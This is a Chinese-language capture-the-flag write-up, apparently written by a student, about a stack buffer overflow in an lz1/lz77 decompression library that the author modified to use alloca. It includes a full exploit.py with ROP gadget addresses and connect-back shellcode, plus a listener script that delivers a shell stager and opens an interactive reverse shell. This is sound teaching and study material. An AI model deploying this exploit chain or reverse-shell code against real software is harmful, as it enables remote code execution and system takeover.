LZ1压缩库漏洞利用:从缓冲区溢出到ROP攻击实现代码执行

本文深入分析了lz1/lz77压缩库中的一个缓冲区溢出漏洞,详细说明了如何通过精心构造恶意压缩数据来覆盖栈上的返回地址,并链接ROP链以绕过安全限制并执行shellcode,最终获得反向shell的过程。

Summer Pwnables: lz1 解决方案

TL;DR 🚀

我们正在将一个简单的压缩库变成一个 shell 传递服务!这篇报告通过制作恶意的压缩数据来利用 lz1/lz77 解压中的缓冲区溢出,该数据溢出栈并链接 ROP 链以实现代码执行。 你是否曾想过一个简单的文件压缩工具如何能将系统的控制权交给你?那么,系好安全带,因为我们即将把 andyherbert 无辜的 lz1 压缩器变成我们个人的 shell 传递服务!🎭

以下是 lz1 处理压缩的方式:它将重复的字节压缩成“指针”。每个指针编码两个内容:位置和长度。 lz1 通过将重复字节压缩成“指针”来工作。这些指针编码 2 样东西:位置和长度。例如,让我们压缩字符串“ABCABCABC”。lz1 注意到“ABC”是重复的(它具体是如何做到这一点的,请查看压缩代码),并将其压缩为 ABC<position:3><length:6>。注意 <position:3> 并不意味着索引三,而是当前字节之前的 3 个字节,因此它指向第一个字母“A”。在解压期间,lz1 将从该位置开始,并重复 length 个字节。以前需要 6 个字节的内容现在可以压缩成 2 个字节。 在我们深入漏洞利用之前,先测试一下你的理解:

测验 1: lz1 如何区分普通字节和指针?

测验 2: 请注意指针中的长度(在我们示例中是 6)可以长于已经解压的数据(ABC)。这怎么可能说得通?跟着代码走,应该能明白它是如何工作的。

上面的 ABC<position:3><length:6> 示例在技术上是错误的。实际上会是像 ABC<position:3><length:5>C 这样。这只是 lz1 的特性。

技术深度剖析

在 lz1 代码中,指针是一个 uint16_t 值**。你可能认为,我们应该只用 8 位(1 字节)表示位置,8 位(1 字节)表示长度,但实际上,我们可以为位置和长度设置 bit_size。你完全可以给位置 4 位,给长度 12 位——真正的压缩算法正是做这种事情。有时,使用位置位宽较小但长度位宽较大的 lz1(或反之亦然)进行压缩可以提高压缩率。对于我们的情况,这将实际上帮助我们利用它。我们稍后将使用 7 位表示位置,9 位表示长度。

** 更像是 uint24_t。位置、长度和数据。数据只是 1 字节的未压缩数据。

现在我们已经弄清楚了 lz1,让我们来利用我们提到的那个漏洞。原始代码使用 malloc 来设置压缩和未压缩文本缓冲区:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
uint32_t file_lz77_decompress (char *filename_in, char *filename_out)
{
    .
    .
    .
    compressed_size = fsize(in);
    compressed_text = malloc(compressed_size); // [1] 为 compressed_text 分配内存
    if(fread(compressed_text, 1, compressed_size, in) != compressed_size)
        return 0;
    fclose(in);

    uncompressed_size = *((uint32_t *) compressed_text);
    uncompressed_text = malloc(uncompressed_size); // [2] 为 uncompressed_text 分配内存

    if(lz77_decompress(compressed_text, uncompressed_text) != uncompressed_size)
        return 0;
    .
    .
    .
}

情节转折:结果发现,在堆内存中利用这个漏洞是一条死路 🚫,所以我换成了 alloca 来获得栈分配。有时候你不得不改变策略!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uint32_t lz77_decompress (uint8_t *compressed_text, uint8_t *uncompressed_text)
{
    uint8_t pointer_length_width;
    uint16_t input_pointer, pointer_length, pointer_pos, pointer_length_mask;
    uint32_t compressed_pointer, coding_pos, pointer_offset, uncompressed_size;

    uncompressed_size = *((uint32_t *) compressed_text);
    pointer_length_width = *(compressed_text + 4);
    compressed_pointer = 5;

    pointer_length_mask = pow(2, pointer_length_width) - 1;

    for(coding_pos = 0; coding_pos < uncompressed_size; ++coding_pos) // [1] coding_pos 在这里被限制
    {
        input_pointer = *((uint16_t *) (compressed_text + compressed_pointer));
        compressed_pointer += 2;
        pointer_pos = input_pointer >> pointer_length_width;
        pointer_length = pointer_pos ? ((input_pointer & pointer_length_mask) + 1) : 0;
        if(pointer_pos)
            for(pointer_offset = coding_pos - pointer_pos; pointer_length > 0; --pointer_length)
                uncompressed_text[coding_pos++] = uncompressed_text[pointer_offset++]; // [2] 但在这里没有限制,所以有可能溢出
        *(uncompressed_text + coding_pos) = *(compressed_text + compressed_pointer++);
    }

    return coding_pos;
}

请注意,uncompressed_sizecompressed_text 中前 4 个字节的整数值。由于我们可以控制这个值,就有可能让它小于指针中长度字段的值。如果我们这样做,就有可能在上面的 lz77_decompress 函数中的 [2] 处溢出 uncompressed_text

挑战检查点: 这是一个完美的暂停点,如果你还没有尝试过,可以自己试着解决一下!所有线索都在那里了……

内存布局:我们的战场

在栈中,内存分配导致以下结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
┌──────────────────────────────────────┐
│ uncompressed_text [uncompressed_size]│
│        (对齐到 8 字节)                │
├──────────────────────────────────────┤
│ compressed_text [compressed_size]    │
│        (对齐到 8 字节)                │
├──────────────────────────────────────┤
│ uncompressed_size (4 字节)            │
│ compressed_size (4 字节)              │
│ in FILE (8 字节)                      │
│ out FILE (8 字节)                     │
├──────────────────────────────────────┤
│ saved rbp                             │
│ return address                        │
└──────────────────────────────────────┘

所有变量都没有被重排,因为代码是在没有栈保护的情况下编译的。我们需要一个指针值,它既能溢出 compressed_text 和其他变量,同时又能构成一个好的 ROP 链(还要注意代码是静态编译的,没有 PIE,所以不需要泄漏地址,我们有很多 gadget 可用)。

有了上面的布局,意味着我们的有效负载至少必须长于 compressed_size,再加上一些。由于 ROP 有效负载不那么容易压缩 🫤,我们需要尝试使用一个短的有效负载。此外,可用的长度与我们可以使用的指针长度有点成反比关系。例如,如果我们使用 4 位表示位置和 12 位表示长度,这意味着我们可以溢出很多,最多 4096 字节(!),但只有 4 位表示位置,我们只有 16 个字节用于有用的 ROP 链,4096 字节的溢出将只是那 16 个字节一遍又一遍地重复,这没什么用。另一方面,位置位宽大但长度位宽小将允许复杂的 ROP 链,但没有足够的长度来溢出。最后,我发现 7 位位置和 9 位长度是最佳的。这允许我们的 ROP 链有 128 字节,并且足以溢出到返回地址。

最终,我的有效负载的 compressed_size0xc0,并将长度设为 511(或接近),我能够用大小为 0x80 的 ROP 链溢出返回地址,这刚好足够获得一个反向 shell。

漏洞利用

我使用的 ROP 链将调用 _dl_make_stacks_executable 来将栈设置为 rwx。这要求 __stack_prot 为 7,但在 glibc 2.39(我编译时使用的版本)中,__stack_prot 位于只读区域 😂。不过有个技巧,我们可以跳过它使用 __stack_prot 的部分,转而使用我们自己的 rdx 值,我们将其设为 7。我们还需要将 rbx 设为 environ,因为 rsi 将被设置为 [rbx]。函数的其余部分将处理对栈的 mprotect。一旦栈可执行,我们就可以返回到一个 jmp rsp 的 gadget 来运行一些 shellcode。

还有一些其他需要注意的事项,比如栈对齐、打开反向 shell,但我留给读者去发现其中一些问题是如何解决的。

exploit.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3

from pwn import *
import codecs
import warnings

context.arch = 'amd64'

ret = 0x00000000004018da
pop_rdi_rbp = 0x000000000040dfa1
dl_make_stack_exec = 0x4647d0
environ = 0x4b58d0
jmp_rsp = 0x00000000004441d6
pop_rax = 0x00000000004027c5
pop_rcx = 0x000000000040266b
pop_rbx = 0x000000000046da97
pop_rsi_rbp = 0x000000000040d402
mov_dword_rax_7_ecx = 0x00000000004542e0
xchg_edx_eax_xor_eax_eax = 0x000000000040479d
add_edx_eax_pop_rbx = 0x000000000046da92
dl_make_stack_exec_gadget = 0x00000000004647ef
pop_rdx = 0x0000000000453095
stack_prot = 0x4ad450

rop_payload = p64(0x2000)*2 + p64(xchg_edx_eax_xor_eax_eax) + p64(pop_rax) + p64(7) + p64(add_edx_eax_pop_rbx) + p64(environ) + p64(dl_make_stack_exec_gadget) + p64(ret)*5 + p64(jmp_rsp) + asm('''jmp $-0x2a0''')
#assert len(rop_payload) <= 0x50, "too long"
sc = asm('''
    push SYS_socket
    pop rax
    push AF_INET
    pop rdi
    push SOCK_STREAM
    pop rsi
    cdq
    syscall

    mov rdi, rax
    mov rax, 18446744071832535042 ; ip 在这里,将 ffffffff 更改为有效的 ip
    push rax

    push SYS_connect
    pop rax
    push 0x10
    pop rdx
    mov rsi, rsp
    syscall
    mov rdx, 0x1000
    sub rsi, 0x280
    syscall
''')

assert len(sc) <= 0x3c
sc = sc.rjust(0x3c, b'\x90')
rop_payload += p64(pop_rsi_rbp)

print(hex(len(sc + rop_payload)))

with open('rop_payload', 'wb') as f:
    f.write(sc + rop_payload)

subprocess.check_call(["./lz1", "c", "9", "rop_payload", "rop_payload.lz77"], stdin=None, stdout=None, stderr=None)

# stage 2

payload = open("rop_payload.lz77", "rb").read()

payload = p32(0xf0) + p8(9) + payload[5:]
payload += b'\xf6\xfb\x00'
payload = payload.ljust(0xd0, b'\x90')
open("payload-exp", "wb").write(payload)

listen.py (这将触发反向 shell):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3

from pwn import *

context.arch = 'amd64'

l = listen(8080, "0.0.0.0")

l.wait_for_connection()

sc = shellcraft.dup2('rdi', 0)
sc += shellcraft.dup2('rdi', 1)
sc += shellcraft.dup2('rdi', 2)
sc += shellcraft.sh()
sc = b'\x90'*0x100 + asm(sc)

l.sendline(sc)

l.interactive()

测验 1 答案: 情节转折!从技术上讲,lz1 也将普通字节编码为指针。所以“ABC”将被压缩为 <position:0><length:0>A<position:0><length:0>B<position:0><length:0>C。有点傻,对吧?🤷‍♂️

测验 2 答案: 这就是让人费解的地方!在 ABC<position:3><length:6> 中,在解压期间,它是逐字节解压的。解压了 3 个字节后,它就类似于 ABCABC<position:3><length:3>,然后变成了 ABCABCABC!第一次理解起来有点困难。🤯📝

来源和链接

学生撰写的报告

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计